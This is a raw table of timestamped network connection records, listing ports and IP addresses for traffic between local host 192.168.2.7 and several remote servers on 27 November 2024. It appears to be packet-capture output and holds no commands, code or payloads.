Nov 27, 2024 17:58:59.939466953 CET	49898	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:59.939740896 CET	443	49901	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:59.940468073 CET	49901	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:59.940481901 CET	443	49901	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:59.940506935 CET	49901	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:59.944350004 CET	49910	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.944360018 CET	443	49910	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.946365118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.949127913 CET	49898	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:59.949162960 CET	443	49898	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:59.989023924 CET	49910	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.997878075 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:59.998522043 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:59.998547077 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:59.999461889 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:59.999465942 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:59.999537945 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:59.999542952 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:59:00.031694889 CET	443	49913	23.44.203.73	192.168.2.7
Nov 27, 2024 17:59:00.032007933 CET	49913	443	192.168.2.7	23.44.203.73
Nov 27, 2024 17:59:00.032033920 CET	443	49913	23.44.203.73	192.168.2.7
Nov 27, 2024 17:59:00.033140898 CET	443	49913	23.44.203.73	192.168.2.7
Nov 27, 2024 17:59:00.033246994 CET	49913	443	192.168.2.7	23.44.203.73
Nov 27, 2024 17:59:00.034461021 CET	49913	443	192.168.2.7	23.44.203.73
Nov 27, 2024 17:59:00.034547091 CET	443	49913	23.44.203.73	192.168.2.7
Nov 27, 2024 17:59:00.082087994 CET	49913	443	192.168.2.7	23.44.203.73
Nov 27, 2024 17:59:00.082107067 CET	443	49913	23.44.203.73	192.168.2.7
Nov 27, 2024 17:59:00.115912914 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.116581917 CET	49906	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.116605997 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.117177010 CET	49906	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.117182016 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.128953934 CET	49913	443	192.168.2.7	23.44.203.73
Nov 27, 2024 17:59:00.133774996 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.134258032 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.134277105 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.134708881 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.134721994 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.151848078 CET	443	49912	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.152143002 CET	49912	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.152156115 CET	443	49912	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.153304100 CET	443	49912	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.153363943 CET	49912	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.154504061 CET	49912	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.154567003 CET	443	49912	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.186959028 CET	443	49911	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.187361002 CET	49911	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.187376022 CET	443	49911	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.188935041 CET	443	49911	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.188992023 CET	49911	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.189338923 CET	49911	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.189409018 CET	443	49911	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.207102060 CET	49912	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.207120895 CET	443	49912	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.230290890 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.230320930 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.230329037 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.230359077 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.230391026 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.230407000 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.230426073 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.230452061 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.230475903 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.237855911 CET	49911	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.237869024 CET	443	49911	204.79.197.219	192.168.2.7
Nov 27, 2024 17:59:00.251533031 CET	49912	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.282144070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.282218933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.282371998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.282454967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.282476902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.282506943 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.282747984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.282759905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.282788992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.282810926 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.283272982 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.283318043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.283337116 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.283377886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.283865929 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.283895016 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.283953905 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.283982038 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.284020901 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.284043074 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.284384966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.284460068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.284488916 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.284506083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.285058022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.285119057 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.285202980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.285310984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.285770893 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.285823107 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.292314053 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.292368889 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.300751925 CET	49911	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:59:00.315247059 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.315323114 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.315367937 CET	49904	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.316075087 CET	49904	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.316098928 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.316111088 CET	49904	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.316118956 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.324203968 CET	49915	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.324219942 CET	443	49915	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.324301958 CET	49915	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.324479103 CET	49915	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.324496031 CET	443	49915	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.348412991 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.348498106 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.348551035 CET	49903	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.348790884 CET	49903	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.348809004 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.348819971 CET	49903	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.348825932 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.352176905 CET	49916	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.352216005 CET	443	49916	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.352277994 CET	49916	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.352449894 CET	49916	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.352461100 CET	443	49916	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.403253078 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.403279066 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.403343916 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.403367043 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.403650045 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.403664112 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.403693914 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.403827906 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.403856993 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.403894901 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.406390905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.406480074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.406527042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.406582117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.406770945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.406821966 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.406930923 CET	49917	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.406940937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.406963110 CET	443	49917	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.406982899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.407011986 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.407042027 CET	49917	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.407042027 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.407305956 CET	49917	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.407324076 CET	443	49917	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.407690048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.407788038 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.407936096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.407975912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.407991886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.408015013 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.409657955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.409672022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.409703016 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.409718037 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.410320044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.410381079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.410662889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.410712957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.411401987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.411458969 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.411529064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.411680937 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.412389040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.412549973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.412600994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.412681103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.413383961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.413428068 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.413538933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.413618088 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.414000034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.414061069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.414069891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.414144039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.414514065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.414566994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.414597034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.414634943 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.415070057 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.415127993 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.415221930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.415262938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.431860924 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.431889057 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.431929111 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.431941032 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.431969881 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.432001114 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.466296911 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.466327906 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.466376066 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.466393948 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.466440916 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.466558933 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.488481045 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.488554001 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.512337923 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.512372017 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.512409925 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.512425900 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.512451887 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.512465954 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.531246901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.531306028 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.531342983 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.531363964 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.532495975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.532613039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.532619953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.532650948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.532670975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.532680988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.532716990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.532814026 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.532826900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.532871962 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.533147097 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.533174992 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.533210039 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.533225060 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.533248901 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.533267021 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.533461094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.533523083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.533607960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.533653021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.534302950 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.534356117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.534461021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.534585953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.535160065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.535200119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.535213947 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.535245895 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.535948992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.536012888 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.536039114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.536142111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.536843061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.536905050 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.536988020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.537106037 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.537697077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.537755013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.537807941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.538543940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.538582087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.538609982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.538634062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.539295912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.539350986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.539400101 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.539452076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.540098906 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.540144920 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.540215969 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.540447950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.540941954 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.540992975 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.541088104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.541147947 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.541810989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.541867018 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.541891098 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.541939974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.542675018 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.542840004 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.542891026 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.543507099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.543565035 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.543582916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.543627024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.544282913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.544451952 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.544507980 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.545134068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.545213938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.545320988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.545365095 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.545939922 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.545994043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.546041965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.546089888 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.546797037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.546967983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.547035933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.547602892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.547657013 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.547704935 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.547744989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.548470020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.548481941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.548526049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.572204113 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.572273970 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.572428942 CET	49906	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.572568893 CET	49906	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.572592020 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.572607994 CET	49906	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.572613955 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.576205969 CET	49918	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.576246977 CET	443	49918	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.576313972 CET	49918	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.576668024 CET	49918	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.576683044 CET	443	49918	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.607340097 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.607367039 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.607434034 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.607491016 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.607491016 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.607703924 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.607722998 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.607742071 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.607750893 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.611452103 CET	49919	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.611476898 CET	443	49919	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.611537933 CET	49919	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.611694098 CET	49919	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:59:00.611707926 CET	443	49919	13.107.246.63	192.168.2.7
Nov 27, 2024 17:59:00.635931015 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.636027098 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.655759096 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.655814886 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.655838013 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.655868053 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:59:00.655883074 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.655966997 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:59:00.656430006 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.656498909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.656507015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.656548977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.656747103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.656800985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.656841040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:59:00.657629967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:59:00.657701015 CET	49850	80	192.168.2.7	185.215.113.206
